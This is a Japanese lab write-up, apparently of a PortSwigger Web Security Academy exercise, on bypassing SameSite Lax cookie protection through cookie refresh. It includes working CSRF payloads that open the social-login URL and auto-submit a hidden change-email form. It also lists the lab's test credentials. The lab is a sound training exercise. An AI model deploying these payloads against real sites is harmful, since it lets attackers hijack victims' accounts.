Hello there, ('ω')ノ
Cookie 更新による SameSite Lax バイパスを。
このラボの「メールアドレスを変更する」機能にはCSRFの脆弱性があり。
ラボを解決するために、被害者のメールアドレスを変更するCSRF攻撃を実行して。
攻撃には提供されたエクスプロイトサーバを使用する必要があって。
このラボはOAuthベースのログインをサポートしていて。
以下の資格情報を使用して、ソーシャルメディアアカウントでログインできて。
wiener/peter
注意:
デフォルトのSameSite制限はブラウザごとに異なり。
被害者がChromeを使用しているため、Chromeを使用して
エクスプロイトをテストすることをお勧めして。
ヒント:
他のユーザによってすでに使用されているメールアドレスは登録できず。
自身のメールアドレスをテスト中に変更する場合は、
エクスプロイトに別のメールアドレスを使用するようにして。
ブラウザは、ユーザのクリックなどの手動操作によってトリガされない限り、
ポップアップを開くことをブロックして。
被害者ユーザはあなたが送信するどのページでもクリックするため、
次のようなグローバルイベントハンドラを使用してポップアップを作成できて。
<script>
window.onclick = () => {
window.open('about:blank')
}
</script>
まずは、ソーシャルメディアアカウントでログインしメールアドレスを変更して。
履歴からは、はじめにページにアクセスすると。
すぐにCookieが発行されてSameSiteの制限はなく。
OAuthが実行されて、ここでもCookieが発行されてSameSiteの制限はなく。
/my-account/change-email リクエストには、予測不可能なトークンが
含まれていないので、SameSiteのクッキー制限をバイパスできれば
CSRFの脆弱性がある可能性があって。
※FireFoxには、SameSite制限がない
OAuthフローの最後にある/oauth-callbackリクエストのレスポンスには
セッションクッキーを設定する際に、WebサイトがSameSite制限を
明示的に指定していないので、Chromeベースのブラウザでは
2分後に自動的にデフォルトのLaxに設定されて。
これは、被害者が2分以上ログインしている場合に適用されて。
ここで、被害者が実行するにはどうしたらよいかを考えると
120秒内にトークンを更新してもらいエクスプロイトを実行してもらうことで。
下記のURLに直接アクセスするとログイン後のページが表示され
ログインしていることが確認できて。
https://0a1f007c030c138a814c57b700c0008c.web-security-academy.net/social-login
このタイミングで、新しいセッションクッキーが更新されるので、
よって、このURLをはじめに実行させてから
メールアドレスを変更するエクスプロイトを実行させるには
下記のようなScript文を使えばよいわけでDeliverしてみると。
<script>
window.open('https://0a87008a031495938012f8d500870012.web-security-academy.net/social-login');
</script>
しっかりと履歴でリクエストが確認できて。
エクスプロイトサーバで、下記のエクスプロイトコードを実行すると。
<form method="POST" action="https://0a87008a031495938012f8d500870012.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
window.open('https://0a87008a031495938012f8d500870012.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
正常にメールアドレスは更新されたもののクリアできず。
ただ、もう一つのエクスプロイトだとメールアドレスは変更できていないものの。
<script>
history.pushState('', '', '/')
</script>
<form action="https://0a87008a031495938012f8d500870012.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="foo@bar.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
クリアできて。
Best regards, (^^ゞ